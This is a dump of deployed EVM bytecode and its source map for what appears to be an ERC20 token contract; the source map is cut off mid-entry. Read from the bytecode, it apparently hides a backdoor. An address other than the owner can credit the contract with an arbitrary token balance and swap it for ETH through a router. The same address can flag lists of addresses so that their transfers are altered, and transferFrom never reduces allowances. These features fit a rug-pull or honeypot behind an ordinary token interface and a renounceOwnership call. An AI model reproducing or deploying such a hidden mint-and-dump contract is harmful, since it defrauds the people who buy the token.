0x608060405234801561001057600080fd5b50600436106101425760003560e01c806371d74ddf116100b8578063a9059cbb1161007c578063a9059cbb14610345578063b8a4bfcd14610375578063bf4513cf14610391578063c57d87de1461039b578063dd62ed3e146103a5578063ddb15c2e146103d557610142565b806371d74ddf146102c557806372f51342146102cf5780638da5cb5b146102d957806395d89b41146102f7578063a457c2d71461031557610142565b806332424aa31161010a57806332424aa314610201578063395093511461021f5780633eaaf86b1461024f5780636f268a991461026d57806370a082311461028b578063715018a6146102bb57610142565b806306fdde0314610147578063095ea7b31461016557806318160ddd1461019557806323b872dd146101b3578063313ce567146101e3575b600080fd5b61014f6103f1565b60405161015c91906117ec565b60405180910390f35b61017f600480360381019061017a9190611540565b610483565b60405161018c91906117d1565b60405180910390f35b61019d61049a565b6040516101aa91906118ae565b60405180910390f35b6101cd60048036038101906101c891906114ed565b6104a4565b6040516101da91906117d1565b60405180910390f35b6101eb61054c565b6040516101f891906118ae565b60405180910390f35b610209610556565b60405161021691906118ae565b60405180910390f35b61023960048036038101906102349190611540565b61055c565b60405161024691906117d1565b60405180910390f35b610257610601565b60405161026491906118ae565b60405180910390f35b610275610607565b60405161028291906117b6565b60405180910390f35b6102a560048036038101906102a09190611453565b61062d565b6040516102b291906118ae565b60405180910390f35b6102c3610676565b005b6102cd6107a9565b005b6102d76107ab565b005b6102e16107ad565b6040516102ee91906117b6565b60405180910390f35b6102ff6107d6565b60405161030c91906117ec565b60405180910390f35b61032f600480360381019061032a9190611540565b610868565b60405161033c91906117d1565b60405180910390f35b61035f600480360381019061035a9190611540565b610996565b60405161036c91906117d1565b60405180910390f35b61038f600480360381019061038a9190611580565b6109b4565b005b610399610a70565b005b6103a3610a72565b005b6103bf60048036038101906103ba91906114ad565b610a74565b6040516103cc91906118ae565b60405180910390f35b6103ef60048036038101906103ea91906115cd565b610afb565b005b60606003805461040090611b1a565b80601f016020809104026020016040519081016040528092919081815260200182805461042c90611b1a565b80156104795780601f1061044e57610100808354040283529160200191610479565b820191906000526020600020905b81548152906001019060200180831161045c57829003601f168201915b5050505050905090565b6000610490338484610db6565b6001905092915050565b6000600254905090565b60006104b1848484610f81565b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104fb611276565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561054157600080fd5b600190509392505050565b6000600154905090565b60015481565b60006105f7610569611276565b8484600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105f29190611978565b610db6565b6001905092915050565b60025481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166106956107ad565b73ffffffffffffffffffffffffffffffffffffffff16146106eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e29061182e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546107e590611b1a565b80601f016020809104026020016040519081016040528092919081815260200182805461081190611b1a565b801561085e5780601f106108335761010080835404028352916020019161085e565b820191906000526020600020905b81548152906001019060200180831161084157829003601f168201915b5050505050905090565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156108f357600080fd5b61098c6108fe611276565b8484600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109879190611a59565b610db6565b6001905092915050565b60006109aa6109a3611276565b8484610f81565b6001905092915050565b60006109be61127e565b905060005b83839050811015610a6a576109d6611286565b6109df57610a57565b6001826109ec9190611978565b60086000868685818110610a0357610a02611c22565b5b9050602002016020810190610a189190611453565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8080610a6290611b4c565b9150506109c3565b50505050565b565b565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b03611286565b15610dac57610b3530600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610db6565b81600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff811115610b9657610b95611c51565b5b604051908082528060200260200182016040528015610bc45781602001602082028036833780820191505090505b5090503081600081518110610bdc57610bdb611c22565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610c7e57600080fd5b505afa158015610c92573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cb69190611480565b81600181518110610cca57610cc9611c22565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486602042610d549190611978565b6040518663ffffffff1660e01b8152600401610d749594939291906118c9565b600060405180830381600087803b158015610d8e57600080fd5b505af1158015610da2573d6000803e3d6000fd5b5050505050610db1565b610db2565b5b5050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1d9061184e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8d9061188e565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f7491906118ae565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415610fbc57600080fd5b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561100857600080fd5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161106591906118ae565b60405180910390a381600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110b89190611a59565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600061110561127e565b600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115905060006111746103e86111666103e7876112e590919063ffffffff16565b61136090919063ffffffff16565b90506000600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141580156111c35750815b156111cc578092505b6000600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050838561121c9190611a59565b816112279190611978565b905080600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505050505050565b600033905090565b600043905090565b6000611290611276565b73ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614905090565b6000808314156112f8576000905061135a565b6000828461130691906119ff565b905082848261131591906119ce565b14611355576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134c9061186e565b60405180910390fd5b809150505b92915050565b60008082116113a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139b9061180e565b60405180910390fd5b600082846113b291906119ce565b90508091505092915050565b6000813590506113cd81611de9565b92915050565b6000815190506113e281611de9565b92915050565b60008083601f8401126113fe576113fd611c85565b5b8235905067ffffffffffffffff81111561141b5761141a611c80565b5b60208301915083602082028301111561143757611436611c8a565b5b9250929050565b60008135905061144d81611e00565b92915050565b60006020828403121561146957611468611c94565b5b6000611477848285016113be565b91505092915050565b60006020828403121561149657611495611c94565b5b60006114a4848285016113d3565b91505092915050565b600080604083850312156114c4576114c3611c94565b5b60006114d2858286016113be565b92505060206114e3858286016113be565b9150509250929050565b60008060006060848603121561150657611505611c94565b5b6000611514868287016113be565b9350506020611525868287016113be565b92505060406115368682870161143e565b9150509250925092565b6000806040838503121561155757611556611c94565b5b6000611565858286016113be565b92505060206115768582860161143e565b9150509250929050565b6000806020838503121561159757611596611c94565b5b600083013567ffffffffffffffff8111156115b5576115b4611c8f565b5b6115c1858286016113e8565b92509250509250929050565b600080604083850312156115e4576115e3611c94565b5b60006115f28582860161143e565b9250506020611603858286016113be565b9150509250929050565b60006116198383611625565b60208301905092915050565b61162e81611a8d565b82525050565b61163d81611a8d565b82525050565b600061164e82611933565b6116588185611956565b935061166383611923565b8060005b8381101561169457815161167b888261160d565b975061168683611949565b925050600181019050611667565b5085935050505092915050565b6116aa81611a9f565b82525050565b6116b981611ad5565b82525050565b60006116ca8261193e565b6116d48185611967565b93506116e4818560208601611ae7565b6116ed81611c99565b840191505092915050565b6000611705601b83611967565b915061171082611caa565b602082019050919050565b6000611728602083611967565b915061173382611cd3565b602082019050919050565b600061174b602583611967565b915061175682611cfc565b604082019050919050565b600061176e602283611967565b915061177982611d4b565b604082019050919050565b6000611791602383611967565b915061179c82611d9a565b604082019050919050565b6117b081611acb565b82525050565b60006020820190506117cb6000830184611634565b92915050565b60006020820190506117e660008301846116a1565b92915050565b6000602082019050818103600083015261180681846116bf565b905092915050565b60006020820190508181036000830152611827816116f8565b9050919050565b600060208201905081810360008301526118478161171b565b9050919050565b600060208201905081810360008301526118678161173e565b9050919050565b6000602082019050818103600083015261188781611761565b9050919050565b600060208201905081810360008301526118a781611784565b9050919050565b60006020820190506118c360008301846117a7565b92915050565b600060a0820190506118de60008301886117a7565b6118eb60208301876116b0565b81810360408301526118fd8186611643565b905061190c6060830185611634565b61191960808301846117a7565b9695505050505050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061198382611acb565b915061198e83611acb565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156119c3576119c2611b95565b5b828201905092915050565b60006119d982611acb565b91506119e483611acb565b9250826119f4576119f3611bc4565b5b828204905092915050565b6000611a0a82611acb565b9150611a1583611acb565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611a4e57611a4d611b95565b5b828202905092915050565b6000611a6482611acb565b9150611a6f83611acb565b925082821015611a8257611a81611b95565b5b828203905092915050565b6000611a9882611aab565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b6000611ae082611acb565b9050919050565b60005b83811015611b05578082015181840152602081019050611aea565b83811115611b14576000848401525b50505050565b60006002820490506001821680611b3257607f821691505b60208210811415611b4657611b45611bf3565b5b50919050565b6000611b5782611acb565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611b8a57611b89611b95565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f536166654d6174683a20206469766973696f6e206279207a65726f0000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a20206d756c7469706c69636174696f6e206f766572666c60008201527f6f77000000000000000000000000000000000000000000000000000000000000602082015250565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b611df281611a8d565b8114611dfd57600080fd5b50565b611e0981611acb565b8114611e1457600080fd5b5056fea26469706673582212202c307fbd86295228eb7297929f45296066b4964363f0279b2fe771fbd5ba085a64736f6c63430008070033

Deployed ByteCode Sourcemap

1993:4949:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2916:85;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6781:158;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4959:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3643:228;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4661:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2057:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6362:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2094:61;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2528:25;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3007:110;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1094:148;;;:::i;:::-;;3246:33;;;:::i;:::-;;3123:35;;;:::i;:::-;;1248:71;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3877:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4286:243;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6569:154;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3285:352;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3164:35;;;:::i;:::-;;3205;;;:::i;:::-;;4146:134;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5058:567;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2916:85;2955:13;2988:5;2981:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2916:85;:::o;6781:158::-;6855:4;6872:37;6881:10;6893:7;6902:6;6872:8;:37::i;:::-;6927:4;6920:11;;6781:158;;;;:::o;4959:93::-;5005:7;5032:12;;5025:19;;4959:93;:::o;3643:228::-;3731:4;3748:35;3758:4;3764:9;3775:7;3748:9;:35::i;:::-;3833:7;3802:11;:17;3814:4;3802:17;;;;;;;;;;;;;;;:27;3820:8;:6;:8::i;:::-;3802:27;;;;;;;;;;;;;;;;:38;;3794:47;;;;;;3859:4;3852:11;;3643:228;;;;;:::o;4661:87::-;4704:7;4731:9;;4724:16;;4661:87;:::o;2057:28::-;;;;:::o;6362:201::-;6442:4;6459:74;6468:8;:6;:8::i;:::-;6478:7;6522:10;6487:11;:23;6499:10;6487:23;;;;;;;;;;;;;;;:32;6511:7;6487:32;;;;;;;;;;;;;;;;:45;;;;:::i;:::-;6459:8;:74::i;:::-;6551:4;6544:11;;6362:201;;;;:::o;2094:61::-;;;;:::o;2528:25::-;;;;;;;;;;;;;:::o;3007:110::-;3064:7;3091:9;:18;3101:7;3091:18;;;;;;;;;;;;;;;;3084:25;;3007:110;;;:::o;1094:148::-;1490:10;1479:21;;:7;:5;:7::i;:::-;:21;;;1471:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;1201:1:::1;1164:40;;1185:6;::::0;::::1;;;;;;;;1164:40;;;;;;;;;;;;1232:1;1215:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;1094:148::o:0;3246:33::-;:::o;3123:35::-;:::o;1248:71::-;1294:7;1311:6;;;;;;;;;;;1304:13;;1248:71;:::o;3877:87::-;3916:13;3949:7;3942:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3877:87;:::o;4286:243::-;4359:4;4417:6;4384:11;:23;4396:10;4384:23;;;;;;;;;;;;;;;:29;4408:4;4384:29;;;;;;;;;;;;;;;;:39;;4376:48;;;;;;4435:64;4444:8;:6;:8::i;:::-;4454:4;4492:6;4460:11;:23;4472:10;4460:23;;;;;;;;;;;;;;;:29;4484:4;4460:29;;;;;;;;;;;;;;;;:38;;;;:::i;:::-;4435:8;:64::i;:::-;4517:4;4510:11;;4286:243;;;;:::o;6569:154::-;6638:4;6655:38;6665:8;:6;:8::i;:::-;6675:9;6686:6;6655:9;:38::i;:::-;6711:4;6704:11;;6569:154;;;;:::o;3285:352::-;3356:19;3378:16;:14;:16::i;:::-;3356:38;;3410:15;3405:225;3445:13;;:20;;3432:10;:33;3405:225;;;3503:17;:15;:17::i;:::-;3498:121;;;;;3602:1;3588:11;:15;;;;:::i;:::-;3549:9;:36;3559:13;;3573:10;3559:25;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;3549:36;;;;;;;;;;;;;;;:54;;;;3498:121;3468:12;;;;;:::i;:::-;;;;3405:225;;;;3345:292;3285:352;;:::o;3164:35::-;:::o;3205:::-;:::o;4146:134::-;4218:7;4245:11;:18;4257:5;4245:18;;;;;;;;;;;;;;;:27;4264:7;4245:27;;;;;;;;;;;;;;;;4238:34;;4146:134;;;;:::o;5058:567::-;5137:17;:15;:17::i;:::-;5133:485;;;5171:53;5188:4;5203:11;;;;;;;;;;;5217:6;5171:8;:53::i;:::-;5267:6;5240:9;:24;5258:4;5240:24;;;;;;;;;;;;;;;:33;;;;5288:28;5333:1;5319:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5288:47;;5375:4;5350:11;5362:1;5350:14;;;;;;;;:::i;:::-;;;;;;;:30;;;;;;;;;;;5413:11;;;;;;;;;;;:16;;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5396:11;5408:1;5396:14;;;;;;;;:::i;:::-;;;;;;;:35;;;;;;;;;;;5447:11;;;;;;;;;;;:62;;;5510:6;5518:1;5521:11;5534:10;5564:2;5546:15;:20;;;;:::i;:::-;5447:120;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5156:423;5133:485;;;5600:7;;5133:485;5058:567;;;:::o;2562:346::-;2681:1;2664:19;;:5;:19;;;;2656:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;2763:1;2744:21;;:7;:21;;;;2736:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;2846:6;2816:11;:18;2828:5;2816:18;;;;;;;;;;;;;;;:27;2835:7;2816:27;;;;;;;;;;;;;;;:36;;;;2884:7;2868:32;;2877:5;2868:32;;;2893:6;2868:32;;;;;;:::i;:::-;;;;;;;;2562:346;;;:::o;5631:655::-;5711:17;5767:1;5751:18;;:4;:18;;;;5743:27;;;;;;5798:9;:15;5808:4;5798:15;;;;;;;;;;;;;;;;5789:5;:24;;5781:33;;;;;;5845:2;5830:25;;5839:4;5830:25;;;5849:5;5830:25;;;;;;:::i;:::-;;;;;;;;5903:5;5884:9;:15;5894:4;5884:15;;;;;;;;;;;;;;;;:25;;;;:::i;:::-;5866:9;:15;5876:4;5866:15;;;;;;;;;;;;;;;:43;;;;5920:15;5959:16;:14;:16::i;:::-;5939:9;:15;5949:4;5939:15;;;;;;;;;;;;;;;;:37;;5920:57;;5988:25;6016:24;6035:4;6016:14;6026:3;6016:5;:9;;:14;;;;:::i;:::-;:18;;:24;;;;:::i;:::-;5988:52;;6075:1;6056:9;:15;6066:4;6056:15;;;;;;;;;;;;;;;;:20;;6055:36;;;;;6081:10;6055:36;6051:103;;;6123:17;6110:31;;6051:103;6164:17;6184:9;:13;6194:2;6184:13;;;;;;;;;;;;;;;;6164:33;;6232:9;6222:5;6221:21;;;;:::i;:::-;6208:34;;;;;:::i;:::-;;;6269:9;6253;:13;6263:2;6253:13;;;;;;;;;;;;;;;:25;;;;5700:586;;;;5631:655;;;:::o;4867:86::-;4908:7;4935:10;4928:17;;4867:86;:::o;3970:96::-;4019:7;4046:12;4039:19;;3970:96;:::o;4754:107::-;4803:4;4843:8;:6;:8::i;:::-;4828:24;;:10;;;;;;;;;;;:24;;;4820:33;;4754:107;:::o;712:223::-;770:7;799:1;794;:6;790:23;;;810:1;803:8;;;;790:23;823:9;839:1;835;:5;;;;:::i;:::-;823:17;;868:1;863;859;:5;;;;:::i;:::-;:10;851:57;;;;;;;;;;;;:::i;:::-;;;;;;;;;926:1;919:8;;;712:223;;;;;:::o;526:178::-;584:7;616:1;612;:5;604:45;;;;;;;;;;;;:::i;:::-;;;;;;;;;660:9;676:1;672;:5;;;;:::i;:::-;660:17;;695:1;688:8;;;526:178;;;;:::o;7:139:1:-;53:5;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;7:139;;;;:::o;152:143::-;209:5;240:6;234:13;225:22;;256:33;283:5;256:33;:::i;:::-;152:143;;;;:::o;318:568::-;391:8;401:6;451:3;444:4;436:6;432:17;428:27;418:122;;459:79;;:::i;:::-;418:122;572:6;559:20;549:30;;602:18;594:6;591:30;588:117;;;624:79;;:::i;:::-;588:117;738:4;730:6;726:17;714:29;;792:3;784:4;776:6;772:17;762:8;758:32;755:41;752:128;;;799:79;;:::i;:::-;752:128;318:568;;;;;:::o;892:139::-;938:5;976:6;963:20;954:29;;992:33;1019:5;992:33;:::i;:::-;892:139;;;;:::o;1037:329::-;1096:6;1145:2;1133:9;1124:7;1120:23;1116:32;1113:119;;;1151:79;;:::i;:::-;1113:119;1271:1;1296:53;1341:7;1332:6;1321:9;1317:22;1296:53;:::i;:::-;1286:63;;1242:117;1037:329;;;;:::o;1372:351::-;1442:6;1491:2;1479:9;1470:7;1466:23;1462:32;1459:119;;;1497:79;;:::i;:::-;1459:119;1617:1;1642:64;1698:7;1689:6;1678:9;1674:22;1642:64;:::i;:::-;1632:74;;1588:128;1372:351;;;;:::o;1729:474::-;1797:6;1805;1854:2;1842:9;1833:7;1829:23;1825:32;1822:119;;;1860:79;;:::i;:::-;1822:119;1980:1;2005:53;2050:7;2041:6;2030:9;2026:22;2005:53;:::i;:::-;1995:63;;1951:117;2107:2;2133:53;2178:7;2169:6;2158:9;2154:22;2133:53;:::i;:::-;2123:63;;2078:118;1729:474;;;;;:::o;2209:619::-;2286:6;2294;2302;2351:2;2339:9;2330:7;2326:23;2322:32;2319:119;;;2357:79;;:::i;:::-;2319:119;2477:1;2502:53;2547:7;2538:6;2527:9;2523:22;2502:53;:::i;:::-;2492:63;;2448:117;2604:2;2630:53;2675:7;2666:6;2655:9;2651:22;2630:53;:::i;:::-;2620:63;;2575:118;2732:2;2758:53;2803:7;2794:6;2783:9;2779:22;2758:53;:::i;:::-;2748:63;;2703:118;2209:619;;;;;:::o;2834:474::-;2902:6;2910;2959:2;2947:9;2938:7;2934:23;2930:32;2927:119;;;2965:79;;:::i;:::-;2927:119;3085:1;3110:53;3155:7;3146:6;3135:9;3131:22;3110:53;:::i;:::-;3100:63;;3056:117;3212:2;3238:53;3283:7;3274:6;3263:9;3259:22;3238:53;:::i;:::-;3228:63;;3183:118;2834:474;;;;;:::o;3314:559::-;3400:6;3408;3457:2;3445:9;3436:7;3432:23;3428:32;3425:119;;;3463:79;;:::i;:::-;3425:119;3611:1;3600:9;3596:17;3583:31;3641:18;3633:6;3630:30;3627:117;;;3663:79;;:::i;:::-;3627:117;3776:80;3848:7;3839:6;3828:9;3824:22;3776:80;:::i;:::-;3758:98;;;;3554:312;3314:559;;;;;:::o;3879:474::-;3947:6;3955;4004:2;3992:9;3983:7;3979:23;3975:32;3972:119;;;4010:79;;:::i;:::-;3972:119;4130:1;4155:53;4200:7;4191:6;4180:9;4176:22;4155:53;:::i;:::-;4145:63;;4101:117;4257:2;4283:53;4328:7;4319:6;4308:9;4304:22;4283:53;:::i;:::-;4273:63;;4228:118;3879:474;;;;;:::o;4359:179::-;4428:10;4449:46;4491:3;4483:6;4449:46;:::i;:::-;4527:4;4522:3;4518:14;4504:28;;4359:179;;;;:::o;4544:108::-;4621:24;4639:5;4621:24;:::i;:::-;4616:3;4609:37;4544:108;;:::o;4658:118::-;4745:24;4763:5;4745:24;:::i;:::-;4740:3;4733:37;4658:118;;:::o;4812:732::-;4931:3;4960:54;5008:5;4960:54;:::i;:::-;5030:86;5109:6;5104:3;5030:86;:::i;:::-;5023:93;;5140:56;5190:5;5140:56;:::i;:::-;5219:7;5250:1;5235:284;5260:6;5257:1;5254:13;5235:284;;;5336:6;5330:13;5363:63;5422:3;5407:13;5363:63;:::i;:::-;5356:70;;5449:60;5502:6;5449:60;:::i;:::-;5439:70;;5295:224;5282:1;5279;5275:9;5270:14;;5235:284;;;5239:14;5535:3;5528:10;;4936:608;;;4812:732;;;;:::o;5550:109::-;5631:21;5646:5;5631:21;:::i;:::-;5626:3;5619:34;5550:109;;:::o;5665:147::-;5760:45;5799:5;5760:45;:::i;:::-;5755:3;5748:58;5665:147;;:::o;5818:364::-;5906:3;5934:39;5967:5;5934:39;:::i;:::-;5989:71;6053:6;6048:3;5989:71;:::i;:::-;5982:78;;6069:52;6114:6;6109:3;6102:4;6095:5;6091:16;6069:52;:::i;:::-;6146:29;6168:6;6146:29;:::i;:::-;6141:3;6137:39;6130:46;;5910:272;5818:364;;;;:::o;6188:366::-;6330:3;6351:67;6415:2;6410:3;6351:67;:::i;:::-;6344:74;;6427:93;6516:3;6427:93;:::i;:::-;6545:2;6540:3;6536:12;6529:19;;6188:366;;;:::o;6560:::-;6702:3;6723:67;6787:2;6782:3;6723:67;:::i;:::-;6716:74;;6799:93;6888:3;6799:93;:::i;:::-;6917:2;6912:3;6908:12;6901:19;;6560:366;;;:::o;6932:::-;7074:3;7095:67;7159:2;7154:3;7095:67;:::i;:::-;7088:74;;7171:93;7260:3;7171:93;:::i;:::-;7289:2;7284:3;7280:12;7273:19;;6932:366;;;:::o;7304:::-;7446:3;7467:67;7531:2;7526:3;7467:67;:::i;:::-;7460:74;;7543:93;7632:3;7543:93;:::i;:::-;7661:2;7656:3;7652:12;7645:19;;7304:366;;;:::o;7676:::-;7818:3;7839:67;7903:2;7898:3;7839:67;:::i;:::-;7832:74;;7915:93;8004:3;7915:93;:::i;:::-;8033:2;8028:3;8024:12;8017:19;;7676:366;;;:::o;8048:118::-;8135:24;8153:5;8135:24;:::i;:::-;8130:3;8123:37;8048:118;;:::o;8172:222::-;8265:4;8303:2;8292:9;8288:18;8280:26;;8316:71;8384:1;8373:9;8369:17;8360:6;8316:71;:::i;:::-;8172:222;;;;:::o;8400:210::-;8487:4;8525:2;8514:9;8510:18;8502:26;;8538:65;8600:1;8589:9;8585:17;8576:6;8538:65;:::i;:::-;8400:210;;;;:::o;8616:313::-;8729:4;8767:2;8756:9;8752:18;8744:26;;8816:9;8810:4;8806:20;8802:1;8791:9;8787:17;8780:47;8844:78;8917:4;8908:6;8844:78;:::i;:::-;8836:86;;8616:313;;;;:::o;8935:419::-;9101:4;9139:2;9128:9;9124:18;9116:26;;9188:9;9182:4;9178:20;9174:1;9163:9;9159:17;9152:47;9216:131;9342:4;9216:131;:::i;:::-;9208:139;;8935:419;;;:::o;9360:::-;9526:4;9564:2;9553:9;9549:18;9541:26;;9613:9;9607:4;9603:20;9599:1;9588:9;9584:17;9577:47;9641:131;9767:4;9641:131;:::i;:::-;9633:139;;9360:419;;;:::o;9785:::-;9951:4;9989:2;9978:9;9974:18;9966:26;;10038:9;10032:4;10028:20;10024:1;10013:9;10009:17;10002:47;10066:131;10192:4;10066:131;:::i;:::-;10058:139;;9785:419;;;:::o;1021